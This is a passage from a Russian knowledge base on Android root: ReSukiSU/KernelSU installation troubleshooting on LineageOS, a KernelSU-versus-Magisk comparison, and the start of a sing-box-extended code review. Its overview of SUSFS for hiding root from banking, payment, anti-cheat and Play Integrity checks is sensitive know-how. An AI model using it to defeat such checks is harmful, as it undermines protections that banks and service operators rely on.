прошивки (OTA), особенно на кастомных ROM вроде **LineageOS** с их частыми апдейтами. Важно понимать, что это **не баг конкретного root-решения**, а следствие того, как root устроен. **Почему слетает.** И Magisk, и ReSukiSU в [[#Способ 1. LKM-установка (для ядер ≥ 5.10) — самый простой|LKM-режиме]] патчат раздел `boot`/`init_boot`. Обновление прошивки **перезаписывает этот раздел** свежим образом — и патч вместе с ним исчезает. Поэтому смена Magisk → ReSukiSU **сама по себе проблему потери root после OTA не решает**: механика у них одинаковая. **Проще говоря:** LKM-root — это «заплатка поверх загрузочного образа». Приходит обновление, кладёт новый образ — заплатки больше нет. Так у всех, кто патчит `boot`/`init_boot`. ### Как сделать, чтобы root не слетал после обновлений - **Пере-патчить после каждого апдейта.** Стандартный путь: обновили ROM → снова прогнали LKM-патч свежего `init_boot` (кнопка **«Починить»** в менеджере — см. [[#«Установить» / «Починить» и откуда берётся сам LKM|раздел про кнопки менеджера]]) → прошили. Ручная работа, но надёжно. - **Встроить root прямо в ядро сборки.** Если использовать **ядро/сборку с уже вкомпилированным KernelSU** (не LKM, а собранное ядро — путь [[#Способ 2. AnyKernel3 (для GKI2 / GKI1 / non-GKI ядер)|AnyKernel3]]/ручной сборки), root становится частью ядра и переживает обновления ROM. Требует подходящего kernel-образа под вашу модель — ищите в сообществе устройства. > [!warning] ReSukiSU на кастомных ROM — без гарантий > KernelSU-семейство на GKI-устройствах в целом работает независимо от прошивки, но ReSukiSU — молодой форк ([[root/ReSukiSU#Цепочка форков: KernelSU → SukiSU-Ultra → ReSukiSU|KernelSU → SukiSU → ReSukiSU]]), и на конкретной сборке LineageOS его совместимость заранее не гарантирована. Возможны краевые случаи (нестандартное ядро сборки, конфликты). Держите резервную копию оригинального `init_boot.img` для отката. ## Если root не поднялся (Not Installed): диагностика Бывает, что образ прошит правильно, устройство загрузилось, но менеджер вверху показывает целиком **«Not Installed»**, и никакое приложение root не получает. Частый случай именно на **кастомных ROM (LineageOS и т.п.)** при [[#Способ 1. LKM-установка (для ядер ≥ 5.10) — самый простой|LKM-установке]]. Ниже — как отличить «не прошилось» от «прошилось, но модуль не загрузился», на примере реального разбора (Pixel 9 Pro XL, LineageOS). ### Шаг 1. Проверить, загрузился ли модуль в ядро С компьютера по ADB (root для этих команд не нужен): ```bash adb shell 'ls /sys/module | grep -iE "ksu|kernelsu"' # пусто → модуль НЕ загружен adb shell getprop ro.boot.slot_suffix # активный слот (_a / _b) adb shell uname -r # версия ядра ``` - **`/sys/module` пуст по `ksu`/`kernelsu`** → ядерная часть KernelSU **не поднялась**. Это и есть причина «Not Installed». - **Слот** должен совпадать с тем, куда вы шили (`fastboot flash init_boot` пишет в активный слот). Если слот переключился — патч ушёл в неактивный. - **`uname -r` при LKM не меняется** — LKM подгружает модуль в готовое ядро, а не заменяет его. Так что неизменная строка ядра здесь **не** признак сбоя. ### Шаг 2. Посмотреть, не падает ли ksud ```bash adb logcat -d | grep -iE "ksud|kernelsu|libksud" ``` Характерный симптом провала — падение демона `ksud`: ``` libc: Fatal signal 31 (SIGSYS), code 1 (SYS_SECCOMP), syscall 142 in tid … (libksud.so) ``` **Что это значит:** `libksud.so` (ksud) — userspace-демон KernelSU. Когда ядерная часть **есть**, он запускается из init-контекста без seccomp-ограничений. Если ядерной части нет, менеджер пытается дёрнуть `ksud` как обычный процесс приложения, тот натыкается на seccomp-фильтр Android и убивается сигналом `SIGSYS`. То есть падение `ksud` с SECCOMP — **следствие** того, что модуль не загрузился, а не отдельная поломка. ### Почему LKM не грузится на кастомном ROM (LineageOS и т.п.) LKM — это **готовый бинарный модуль** (`androidXX-Y.Z-lkm`), собранный под **стоковое ядро Google**. Он загрузится только в совместимое ядро. А кастомные прошивки, в отличие от стока, **собирают ядро из исходников сами** (LineageOS не берёт готовый GKI-образ Google, а компилирует свой — [это видно из процесса сборки Pixel-ядер](https://source.android.com/docs/setup/build/building-pixel-kernels)). Самосборное ядро имеет **другой vermagic/KMI**, и generic-модуль в него не встаёт. Для LineageOS есть даже точный диагноз в трекере KernelSU: 🔗 [issue #2685](https://github.com/tiann/KernelSU/issues/2685) (июль 2025). LineageOS (и производные — /e/OS, iodéOS) **обрезают в строке версии ядра поле `androidXX-N`** — например, вместо `5.15.176-android13-8-g…` получается `5.15.176-g…`. Из-за этого менеджер **не может автоматически определить KMI**, и подобрать/загрузить нужный LKM не выходит. В LKM-режиме на таких ROM приходится **выбирать KMI вручную при каждом OTA**, и ошибка выбора грозит бутлупом. **Проще говоря:** LKM — «деталь под заводское ядро». LineageOS ставит своё, самосборное ядро — деталь к нему не подходит, root не активируется. Ошибки в ваших командах при этом нет. > [!tip] Что делать, если LKM не поднялся > - **Проверьте слот и версию образа** — что шили в активный слот и что `init_boot` был от **ровно той сборки**, что стоит. > - **На кастомном ROM надёжнее не LKM, а GKI-mode** — ядро с **уже вкомпилированным** KernelSU/ReSukiSU ([[#Способ 2. AnyKernel3 (для GKI2 / GKI1 / non-GKI ядер)|AnyKernel3]]). Самый надёжный вариант — **собрать ядро из исходников самой LineageOS** с интегрированным KernelSU (тогда vermagic совпадёт). Готовые generic-GKI ядра (WildKernels, ShirkNeko/SukiSU, Sultan) собраны под **сток**, заменяют ядро LineageOS и **могут ломать OTA, датчики или вызывать бутлуп** — берите их только с бэкапом стоковых `boot.img`/`init_boot.img` и строго под вашу KMI-ветку. > - **Проще всего — [[root/Magisk-install|Magisk]].** Он патчит рамдиск `init_boot` и **не зависит от vermagic ядра**, поэтому на LineageOS заводится там, где LKM-KernelSU нет. Плата — тот же [[#Root и обновления прошивки (OTA, кастомные ROM)|re-патч после каждого OTA]]. Подробнее о выборе — в [[root/ReSukiSU#KernelSU/ReSukiSU против Magisk: чем отличается и когда что выбрать|сравнении ReSukiSU и Magisk]]. > - **Откат:** прошейте обратно оригинальный (непатченный) `init_boot.img` той же сборки — `fastboot flash init_boot init_boot.img` — и телефон вернётся к состоянию без root. ## После прошивки: SUSFS и KPM > [!note] SUSFS и KPM настраиваются отдельно > Страница установки описывает только базовую прошивку ReSukiSU. Настройка **SUSFS** (скрытие root от приложений-проверяльщиков) и работа с **KPM**-модулями (код в пространстве ядра) делаются уже после установки — через сам менеджер и совместимое ядро. Что это за технологии и какие у них ограничения — в обзорной заметке [[root/ReSukiSU#Возможности|ReSukiSU → Возможности]]; конкретные шаги ищите в соответствующих разделах документации и в Telegram-сообществе проекта. > [!danger] Осторожно с прошивкой ядра > Прошивка несовместимого образа — частая причина «кирпича» (устройство не загружается). Ставьте образ только под **точную модель и версию** вашего устройства и заранее сохраните резервную копию заводских `boot.img` / `init_boot.img`. Root снимает часть защит устройства и может влиять на гарантию и работу банковских/платёжных приложений. ## 📚 См. также - [[root/ReSukiSU|ReSukiSU — форк SukiSU для root на Android]] — обзорная заметка: что это, цепочка форков KernelSU → SukiSU → ReSukiSU, возможности (KPM, SUSFS, метамодули), поддерживаемые устройства - [[Zapret/android|Обход блокировок на Android]] — смежная тема: DPI и блокировки на телефоне (root не требуется, но иногда с ним удобнее) - 🔗 [Инструкция по установке ReSukiSU](https://resukisu.github.io/guide/install.html) — официальный первоисточник этой заметки - 🔗 [Документация KernelSU](https://kernelsu.org) — откуда взят раздел ручного патча `magiskboot` - 🔗 [payload-dumper-go](https://github.com/ssut/payload-dumper-go) — извлечение `boot.img` из `payload.bin` - 🔗 [magiskboot_build](https://github.com/ookiineko/magiskboot_build/releases/tag/last-ci) — сборка `magiskboot` для ПК - 🔗 [KernelSU issue #2685](https://github.com/tiann/KernelSU/issues/2685) — почему LKM не грузится на LineageOS (обрезанная строка KMI), июль 2025 - 🔗 [Building Pixel Kernels (source.android.com)](https://source.android.com/docs/setup/build/building-pixel-kernels) — подтверждение, что кастомные ROM собирают ядро сами - 🔗 [Rescue from bootloop (KernelSU)](https://kernelsu.org/guide/rescue-from-bootloop.html) — восстановление при бутлупе --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/root/ReSukiSU-install.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-07-16 tags: - root - android - kernelsu - sukisu - susfs aliases: - ReSukiSU - ReSuki - Make SukiSU Great Again link: https://github.com/ReSukiSU/ReSukiSU --- # 🦎 ReSukiSU — форк SukiSU для root-доступа на Android > [!info] О чём заметка > ReSukiSU — это решение для получения **root-прав на Android через ядро** (kernel-based root). Заметка объясняет, что это за проект, откуда он взялся, чем отличается от KernelSU/SukiSU/Magisk, какие у него возможности (KPM, SUSFS, метамодули) и на каких устройствах он работает. Это обзорная (теоретическая) заметка; пошаговую установку под конкретное устройство ищите в официальной документации проекта. ## TL;DR - **ReSukiSU** — форк проекта **SukiSU-Ultra**, который сам является форком **KernelSU**. Слоган проекта — «Make SukiSU Great Again!». Заявленная цель форка: больше стабильности и более простая сборка ядра. - Это **root на уровне ядра**: суперпользователь встроен в само ядро Linux, а не подгружается в загрузчике, как у Magisk. Из-за этого его сложнее обнаружить, но нужно совместимое ядро. - Ключевые фишки семейства: **KPM** (запуск кода прямо в ядре), встроенный **SUSFS** (скрытие root от приложений), система **метамодулей** (systemless-модификации), совместимость с несколькими менеджерами (KernelSU, RKSU, MKSU, SukiSU). - Официально поддерживаются **GKI 2.0** устройства (ядро Linux 5.10+). Старые ядра (от 3.4) тоже работают, но ядро придётся собирать вручную. Архитектуры: `arm64-v8a`, `armeabi-v7a`, `x86_64`. - Лицензия: код ядра — GPL-2.0-only, остальное — GPL-3.0-or-later. ## Что такое «root через ядро» и при чём тут KernelSU **Root (суперпользователь)** на Android — это права, позволяющие приложениям делать то, что обычно запрещено: менять системные файлы, блокировать рекламу на уровне системы, удалять предустановленные приложения, тонко настраивать сеть и т.д. Есть два принципиально разных подхода, как получить эти права: - **Magisk** и подобные — патчат загрузочный образ (`boot.img`) и подгружают суперпользователя **поверх** системы на этапе загрузки (userspace). Гибко, ставится почти на всё, но и обнаруживается относительно легко. - **KernelSU** (проект автора weishu) — встраивает суперпользователя **в само ядро Linux**. Отсюда название: Kernel-assisted SuperUser. Права выдаёт ядро, а не пользовательский процесс. **Проще говоря:** Magisk — это «надстройка сверху», которую система в принципе может заметить; KernelSU — это «встроено в фундамент», ниже уровня, на котором обычно работают проверки. Взамен KernelSU требователен к ядру: нужно либо совместимое заводское ядро (**GKI** — Generic Kernel Image, единое ядро Google для многих устройств), либо ядро, собранное вручную. **ReSukiSU** относится к семейству KernelSU: это тоже root через ядро. ## KernelSU/ReSukiSU против Magisk: чем отличается и когда что выбрать Частый вопрос — «что лучше, ReSukiSU или Magisk?». Правильный ответ: **зависит от задачи и устройства**, универсального «лучше» нет. Ниже — честное сравнение по подходам (ReSukiSU здесь представляет всё семейство KernelSU, [[root/Magisk|Magisk]] — классический userspace-root). | Критерий | KernelSU / ReSukiSU (root через ядро) | Magisk (root поверх системы) | | --- | --- | --- | | Где живёт root | **в ядре Linux** (ниже уровня приложений) | в userspace, подгружается при загрузке | | Скрытность от проверок | сложнее обнаружить; есть встроенный [[#SUSFS — скрытие root от приложений\|SUSFS]] | обнаруживается относительно легче; скрытие — через отдельные модули | | Требования | нужно **совместимое ядро** (GKI 2.0) или ручная сборка | ставится почти на любое устройство | | Простота установки | сложнее: зависит от ядра, KMI, способа (LKM/AnyKernel3) | обычно проще: патч `boot.img` и всё | | Экосистема модулей | своя, моложе и меньше | огромная, зрелая, много готовых модулей | | Работа в ядре | **KPM** — код прямо в kernel space | нет (только userspace-модули) | | Надёжность на кастомных ROM | **LKM часто не встаёт** на самосборные ядра (см. ниже) | как правило, работает стабильнее | ### В чём KernelSU/ReSukiSU объективно сильнее - **Скрытность.** Раз права выдаёт само ядро, а не процесс поверх системы, обнаружить root приложениям-проверяльщикам труднее. Плюс встроенный [[#SUSFS — скрытие root от приложений|SUSFS]] для сокрытия. Это главный практический плюс для банков/платежей/игр — хотя 100%-й гарантии обхода конкретной проверки нет ни у кого, это «гонка вооружений». - **KPM.** Возможность запускать [[#KPM — Kernel Patch Module (модули, работающие в ядре)|код прямо в ядре]] — то, чего у Magisk нет в принципе. - **Гранулярный контроль.** [[#App Profile — права по приложениям|App Profile]] — точечная выдача root по приложениям с правилами SELinux/capabilities. ### В чём Magisk удобнее - **Ставится почти на всё.** Magisk патчит `boot.img` и не требует GKI-совместимого ядра, поэтому подходит и старым, и «нестандартным» устройствам. - **Проще и предсказуемее.** Меньше зависимостей от версии ядра и KMI. - **Зрелая экосистема модулей.** За годы накопилось много готовых модулей и решений. - **Стабильнее на кастомных прошивках.** Это ключевой момент ⤵. > [!warning] На кастомных ROM (LineageOS и т.п.) KernelSU-LKM часто не работает > Простой способ установки KernelSU/ReSukiSU — **LKM** (готовый бинарный модуль, встраиваемый в `init_boot`). Такой модуль собран под **стоковое ядро Google** и грузится только в совместимое ядро. **Кастомные прошивки собирают ядро из исходников сами**, и generic-LKM в него не встаёт из-за несовпадения vermagic/KMI. Для LineageOS это задокументировано: 🔗 [KernelSU issue #2685](https://github.com/tiann/KernelSU/issues/2685) (июль 2025) — LineageOS обрезает поле `androidXX-N` в строке версии ядра, и менеджер не может определить KMI. Симптом: образ прошит, телефон загрузился, но менеджер показывает «Not Installed», а демон `ksud` падает с SECCOMP. Разбор и диагностика — в [[root/ReSukiSU-install#Если root не поднялся (Not Installed): диагностика|заметке про установку]]. Надёжный путь на кастомном ROM — **ядро с уже вкомпилированным KernelSU** (не LKM; в идеале собранное из исходников той же ROM), либо, если такого под вашу модель нет, **Magisk** оказывается практичнее — он патчит рамдиск и от vermagic не зависит. **Вывод:** если устройство на **GKI 2.0** и важна скрытность/KPM — KernelSU/ReSukiSU выигрывает. Если у вас **кастомный ROM без готового интегрированного ядра**, старое/non-GKI устройство или нужна максимальная простота — Magisk чаще практичнее. Это не «одно лучше другого вообще», а выбор под конкретный кейс. ## Цепочка форков: KernelSU → SukiSU-Ultra → ReSukiSU Чтобы не путаться в похожих названиях, вот происхождение проекта: | Проект | Кто | Роль в цепочке | | ---------------- | -------------- | -------------------------------------------------------- | | **KernelSU** | weishu (tiann) | Первоисточник — сама идея root через ядро | | **SukiSU-Ultra** | ShirkNeko | Форк KernelSU: добавил KPM и ряд изменений | | **ReSukiSU** | ReSukiSU | Форк SukiSU-Ultra: упор на стабильность и простую сборку | По описанию самого проекта, ReSukiSU — это «более стабильный форк SukiSU»: те же возможности семейства SukiSU/KernelSU, но с правками ради надёжности и упрощённой сборки ядра. Насколько «стабильнее» на практике — это заявление авторов форка, а не измеренный факт, поэтому проверяйте на своём устройстве. ## Возможности ### KPM — Kernel Patch Module (модули, работающие в ядре) **KPM** — визитная карточка семейства SukiSU. Это механизм, позволяющий запускать код **прямо в пространстве ядра** (kernel space), по аналогии с загружаемыми модулями ядра (LKM — Loadable Kernel Modules). KPM даёт возможность делать inline-hook и hook таблицы системных вызовов (syscall-table-hook) изнутри ядра. **Проще говоря:** обычные root-модули работают в пользовательском пространстве (как приложения с расширенными правами). KPM позволяет внедрять произвольный код на самый глубокий уровень — в ядро. Это мощнее, но и опаснее: ошибка в коде уровня ядра роняет всё устройство, а не одно приложение. ### SUSFS — скрытие root от приложений **SUSFS** (SU Spoofing File System) — это набор патчей ядра для **сокрытия факта root** от приложений, которые его проверяют (банки, платёжные сервисы, игры с защитой от читов, Google Play Integrity). ReSukiSU включает встроенное управление SUSFS прямо в менеджере. Важные ограничения именно этой реализации: > [!warning] Ограничения SUSFS в ReSukiSU > В этом проекте SUSFS поддерживает **бэкпорт с ядра 4.3+**. Основной режим hook — **Tracepoint Syscall Redirect** — работает только на ядрах **GKI 2.0 (5.10+)** с архитектурой `arm64-v8a` или `x86_64`. На других ядрах используются альтернативные режимы hook (Manual Hook — ядра 3.4–6.18; SUSFS Inline Hook — ядра 4.3+). Скрытие root — постоянная «гонка вооружений» с системами проверки, поэтому 100%-й гарантии обхода конкретной проверки нет. ### Система метамодулей Модификации системы в ReSukiSU делаются **systemless** — то есть без изменения самих системных разделов, поверх них накладывается «слой» изменений. За монтирование модулей теперь отвечает отдельный **метамодуль** (metamodule): ядро- core больше не занимается монтированием само, а делегирует это установленному метамодулю. **Проще говоря:** «systemless» значит, что системный раздел физически не трогается — модуль лишь подменяет то, что видит система, поэтому изменения легко откатить и они переживают обновления. А вынос монтирования в отдельный метамодуль — это архитектурное решение SukiSU/ReSukiSU: движок, который «накладывает» модули, стал сменным компонентом, а не частью ядра. ### Совместимость с несколькими менеджерами **Менеджер** — это приложение (APK), через которое вы управляете root-правами: выдаёте/забираете доступ у приложений, ставите модули, настраиваете SUSFS. Ядро ReSukiSU по умолчанию совместимо в роли ядра с менеджерами **KernelSU, RKSU, MKSU и SukiSU** — то есть можно управлять им из привычного менеджера семейства. ### App Profile — права по приложениям Как и в KernelSU, есть **App Profile** — точечный контроль, какому приложению давать root, а какому нет, вплоть до отдельных правил (SELinux-контекст, capabilities). Это снижает риск: root-доступ получают только те приложения, которым вы его явно разрешили. ## Поддерживаемые устройства и ядра > [!note] Требования > - **Android / ядро:** официально — GKI 2.0 (ядро Linux **5.10+**). Старые ядра начиная с **3.4** тоже поддерживаются, но такое ядро придётся **собирать вручную** (готового образа не будет). > - **Архитектуры:** `arm64-v8a`, `armeabi-v7a`, `x86_64`. > - Проект отдельно позиционирует **поддержку non-GKI ядер** — то есть старых устройств, под которые нет единого образа Google. ## Как это устанавливается Пошаговая установка вынесена в отдельную заметку: **[[root/ReSukiSU-install|Установка ReSukiSU — LKM, AnyKernel3 и ручной патч boot.img]]**. Там разобран весь порядок по официальной документации (по состоянию на июль 2026): где взять менеджер, три способа прошивки и запасной ручной патч через `magiskboot`. Коротко, чтобы понимать масштаб: - **Менеджер (APK)** на июль 2026 ещё в разработке и не публикуется в GitHub Releases — сборку берут из CI (nightly.link или GitHub Actions), только из ветки `main`. - **Способ 1 — LKM-установка** (ядра ≥ `5.10`): менеджер сам патчит `boot`/`init_boot`/`vendor_boot`, вы прошиваете результат. Самый простой путь. - **Способ 2 — AnyKernel3** (GKI и non-GKI): встроенная установка из менеджера, но требует уже полученного root. - **Запасной путь** — ручной патч `boot.img` через `magiskboot` (на устройстве или на ПК), когда автопатч не срабатывает. > [!danger] Осторожно с прошивкой ядра > Прошивка несовместимого образа — частая причина «кирпича» (устройство не загружается). Ставьте образ только под точную модель и версию вашего устройства и заранее сохраните резервную копию заводских `boot.img` / `init_boot.img`. Root снимает часть защит устройства и может влиять на гарантию и работу банковских/платёжных приложений. Полные шаги и предостережения — в [[root/ReSukiSU-install|заметке про установку]]. ## Лицензия и сообщество - **Ядро** (`/kernel`) — GPL-2.0-only. - **Остальное** (менеджер на Kotlin, userspace-инструменты, скрипты) — GPL-3.0-or-later. - **Иконки-арт** (аниме-персонажи) — Creative Commons BY-NC-SA 4.0 с дополнительными согласованиями авторов. - Исходники и документация открыты; переводы менеджера ведутся через Crowdin, обсуждение — в Telegram-канале проекта. ## 📚 См. также - [[root/ReSukiSU-install|Установка ReSukiSU]] — пошаговая практика: LKM, AnyKernel3 и ручной патч `boot.img` через magiskboot - [[root/Magisk|Magisk — systemless-root и модули]] — альтернативный root «поверх системы»; часто практичнее на кастомных ROM - [[root/Magisk-install|Установка Magisk]] — патч `boot`/`init_boot`, Magisk in Recovery, Samsung, OTA - [[root/LSPosed|LSPosed и Xposed]] — модификация приложений в рантайме; для KernelSU нужен отдельный Zygisk (ReZygisk/NeoZygisk) - [[Zapret/android|Обход блокировок на Android]] — смежная тема: что делать с DPI и блокировками на телефоне (не требует root, но иногда с ним удобнее) - 🔗 [Репозиторий ReSukiSU на GitHub](https://github.com/ReSukiSU/ReSukiSU) — исходный код, релизы, инструкции - 🔗 [Документация ReSukiSU](https://resukisu.github.io/) — официальный сайт с гайдами - 🔗 [Инструкция по установке](https://resukisu.github.io/guide/install.html) — LKM, AnyKernel3, ручной патч через magiskboot - 🔗 [KernelSU (первоисточник)](https://github.com/tiann/KernelSU) — родительский проект - 🔗 [SukiSU-Ultra](https://github.com/SukiSU-Ultra/SukiSU-Ultra) — форк-предок с KPM --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/root/ReSukiSU.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-20 tags: - android - root - magisk - обзор-раздела aliases: - Root на Android раздел - Как получить рут на андроид - Magisk или KernelSU что выбрать - Рут-права обзор --- # 🔓 Root на Android — раздел > [!info] О чём раздел > Как получить **root-права** на Android и что с ними делать: два основных подхода — systemless-root через Magisk (в userspace, «поверх» системы) и kernel-based root через форки KernelSU (на уровне ядра). Root нужен, в частности, для [[Zapret/magisk-zapret2|системного обхода DPI модулем Zapret2]]. ## Заметки раздела **Magisk — классический путь:** - [[root/Magisk|Magisk — systemless-root и модули для Android]] — что это такое, как работает и почему это самый популярный способ. - [[root/Magisk-install|Установка Magisk]] — пошагово: патч boot/init_boot, Recovery, особенности Samsung. **KernelSU-семейство — root через ядро:** - [[root/ReSukiSU|ReSukiSU — форк SukiSU]] — что за проект, откуда он и чем отличается kernel-based-подход. - [[root/ReSukiSU-install|Установка ReSukiSU]] — LKM, AnyKernel3 и ручной патч boot.img. **Что даёт root помимо обхода:** - [[root/LSPosed|LSPosed и Xposed]] — модификация приложений в рантайме: перехват вызовов методов без правки APK. ## 📚 См. также - [[Zapret/magisk-zapret2|Zapret2 как Magisk-модуль]] — главный практический сценарий root в этом vault - [[Zapret/android|Обход DPI на Android]] — обзор способов, включая безрутовые --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/root/root.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-07-17 tags: - sing-box - архитектура - go - proxy aliases: - Архитектура sing-box-extended - sing-box-extended internals link: https://github.com/shtorm-7/sing-box-extended --- # 🏗️ Архитектура sing-box-extended: как форк устроен изнутри > [!info] О чём заметка > Разбор исходного кода [sing-box-extended](https://github.com/shtorm-7/sing-box-extended) — форка прокси-платформы sing-box с десятками дополнительных протоколов и функций. Что это за проект и зачем он нужен — в обзорной заметке [[sing-box/sing-box-extended|sing-box-extended]]; здесь — только внутреннее устройство: ядро, registry-паттерн, реализация протоколов, лимитеры, DNS и подсистема управления «manager + node + панель». > [!warning] Источник данных > Заметка составлена по разбору исходников ветки `extended` (снимок на 17 июля 2026, релиз `v1.13.14-extended-2.5.1`) пятью независимыми проходами по коду. Пути файлов и номера строк со временем поплывут — сверяйся с актуальным репозиторием. Выводы о поведении кода сделаны чтением, без запуска и динамической проверки. ## TL;DR - Форк сохраняет module path `github.com/sagernet/sing-box` и не выделяет свой код в отдельный namespace: новые протоколы добавлены прямо в `protocol/`, новые сервисы — в `service/`, а зависимости SagerNet подменены через 9 `replace`-директив в `go.mod` на форки автора (`shtorm-7/sing`, `shtorm-7/wireguard-go` и др.). - Ядро — конструктор `box.New()`: реестры типов (registry-паттерн) лежат в контексте, конфиг-JSON парсится по полю `type` через эти же реестры, «тяжёлые» фичи отсекаются build-tag-ами `with_*` (масштаб — 1052 Go-файла). - Протоколы поделены на свои реализации (OpenVPN, Sudoku, Snell, TrustTunnel, VLESS encryption, Bond, Failover) и обёртки над библиотеками (Mieru → `enfein/mieru`, MTProxy → форк `mtg-multi`, MASQUE → `connect-ip-go`, DNSCrypt → форк `ameshkov/dnscrypt`). - Лимитеры — это outbound-обёртки со встроенным собственным роутером; Failover умеет прозрачно восстанавливать TCP-сессии после разрыва, Bond режет поток на куски по долям между несколькими каналами. - Подсистема управления: центральный сервис `manager` (SQLite/PostgreSQL) раздаёт пользователей и лимиты узлам по gRPC-стриму (узел сам подключается к менеджеру — удобно за NAT), пользователи вживляются в работающие inbound-ы без перезапуска; админ-панель — React SPA, встроенная в бинарник через `go:embed`. - Слабые места по части безопасности: секреты пользователей в БД менеджера хранятся открытым текстом, аутентификация всех API — один статический ключ. ## Ядро: Box, менеджеры и registry-паттерн Вся программа собирается вокруг структуры `Box` (файл `box.go` в корне). `box.New(options)` создаёт набор менеджеров — по одному на каждую категорию сущностей конфига: `inbound.Manager` (входящие слушатели), `outbound.Manager` (исходящие подключения), `endpoint.Manager` (двусторонние туннели вроде WireGuard), `provider.Manager` (подписки), `service.Manager` (сервисы), `dns.TransportManager` и `dns.Router`, `route.Router` с `route.NetworkManager` и `route.ConnectionManager`. Жизненный цикл многофазный: `PreStart → Start → PostStart`, закрытие — в обратном порядке. Расширяемость построена на **registry-паттерне**. Для каждой категории существует реестр (`adapter/inbound/registry.go` и аналоги): generic-функция `Register[Options any](registry, type, constructor)` кладёт в две map конструктор объекта и конструктор его структуры опций. Реестры создаются декларативно в одном месте — `include/registry.go` — и кладутся в контекст как DI-контейнер (типизированный сервис-локатор из библиотеки `sagernet/sing/service`). Парсинг конфига опирается на те же реестры. JSON-объект inbound/outbound/service несёт поле `type`; кастомный `UnmarshalJSONContext` (например в `option/inbound.go`) достаёт из контекста реестр опций, по строке типа создаёт пустую структуру нужных опций и домаршаливает в неё остаток JSON. Добавить новый протокол = написать пакет в `protocol/`, структуру опций в `option/` и одну строку регистрации в `include/registry.go`. Проще говоря: ядро ничего не знает о конкретных протоколах — оно знает только слово «тип» и таблицу «тип → конструктор». Поэтому форку не пришлось переписывать ядро, чтобы добавить полтора десятка протоколов: он просто дописал таблицу. Опциональные фичи отсекаются **build-tag-ами**: парные файлы `include/<фича>.go` (`//go:build with_<фича>`) и `include/<фича>_stub.go` — заглушка возвращает ошибку «rebuild with -tags with_...». Под тегами живут `with_masque`, `with_openvpn`, `with_snell`, `with_sudoku`, `with_mtproxy`, `with_trusttunnel`, `with_wireguard` (включая WARP), `with_manager`, `with_admin_panel` и другие; Mieru, SSH, VPN, Bond, Failover вкомпилированы всегда. ## Как форк наслаивается на upstream Отдельного «слоя форка» в дереве исходников нет — код добавлен прямо в структуру upstream (module path остался `github.com/sagernet/sing-box`). Extended-код распознаётся по трём признакам: 1. **Новые пакеты в `protocol/`**: `bond`, `failover`, `mieru`, `mtproxy`, `openvpn`, `snell`, `sudoku`, `trusttunnel`, `warp`, `masque`, `limiter/*`. 2. **Новые пакеты в `service/`**: `manager`, `manager_api`, `node`, `node_manager_api`, `admin_panel` и другие (в upstream из сервисов есть только `resolved` и `ssmapi`). 3. **`go.mod`**: 9 `replace`-директив подменяют зависимости на форки автора с суффиксом `-extended-*`. Ключевые: `sagernet/sing` → `shtorm-7/sing` (базовая библиотека всего стека), `sagernet/wireguard-go` → `shtorm-7/wireguard-go` (там живёт обфускация [[amnezia-2-0/reference|Amnezia 2.0]]), `ameshkov/dnscrypt` → `shtorm-7/dnscrypt`, `dolonet/mtg-multi` → `shtorm-7/mtg-multi` (MTProto), `Diniboy1123/connect-ip-go` → `shtorm-7/connect-ip-go` (MASQUE), `sagernet/sing-mux`, `sagernet/sing-vmess`, `sagernet/tailscale`. > [!note] Следствие для безопасности > Часть криптографии и сетевого кода живёт не в этом репозитории, а в форках библиотек автора — исправления из соответствующих upstream-библиотек попадают туда только после ручного перебазирования. Это главный практический смысл «отставания» форка, разобранного в [[sing-box/sing-box-extended|обзорной заметке]] (раздел «Отстаёт ли форк от оригинала»). Масштаб: 1052 Go-файла, Go 1.26. Крупнейшие пакеты — `option/` (71 файл), `route/rule/` (45), `include/` (37), `experimental/libbox/` (35, мобильная обёртка gomobile). ## Протоколы: что своё, а что обёртка Сводка по реализации протоколов, добавленных форком (подробно о том, что каждый протокол делает, — в [[sing-box/sing-box-extended|обзорной заметке]]): | Протокол | Путь | Реализация | Роль | |---|---|---|---| | WARP | `protocol/warp/` | Своя обвязка Cloudflare API + WireGuard через `shtorm-7/wireguard-go` | endpoint | | MASQUE | `protocol/masque/` | Обёртка над `connect-ip-go` (CONNECT-IP поверх HTTP/3) | outbound | | MTProxy | `protocol/mtproxy/` | Обёртка над `mtg-multi` (форк mtg) | только inbound (сервер) | | Mieru | `protocol/mieru/` | Обёртка над официальным `enfein/mieru/v3` | inbound + outbound | | OpenVPN | `protocol/openvpn/` + `transport/openvpn/` | Своя (control/data-каналы, tls-auth/tls-crypt/tls-crypt-v2); извне только LZO | outbound | | TrustTunnel | `protocol/trusttunnel/` | Своя, поверх QUIC/HTTP3 и HTTP/2 | inbound + outbound | | Sudoku | `protocol/sudoku/` | Своя (собственная крипта, обфускация, мультиплекс, HTTP-маска) | inbound + outbound | | Snell | `protocol/snell/` | Своя (v4, shadow-AEAD, obfs через simple-obfs) | inbound + outbound | | SSH-расширения | `protocol/ssh/` | Поверх `x/crypto/ssh`: CA-сертификаты и fallback-сервер | inbound + outbound | | VPN | `protocol/vpn/` | Своя (туннель с кадрированием поверх любого TCP-канала) | endpoint (client + server) | | Bond | `protocol/bond/` | Своя (см. ниже) | inbound + outbound | | Failover | `protocol/failover/` | Своя (см. ниже) | inbound + outbound | Заимствования из соседних экосистем портированы, а не подключены модулями: транспорт mKCP (`transport/v2raykcp/`) — порт из v2ray-core, [[xray/xhttp|XHTTP]] (`transport/v2rayxhttp/`) — порт из Xray-core вместе со вспомогательным слоем `common/xray/*` (buf, pipe, crypto). Шифрование [[xray/vless|VLESS]] (`protocol/vless/encryption/`) — собственная реализация в стиле 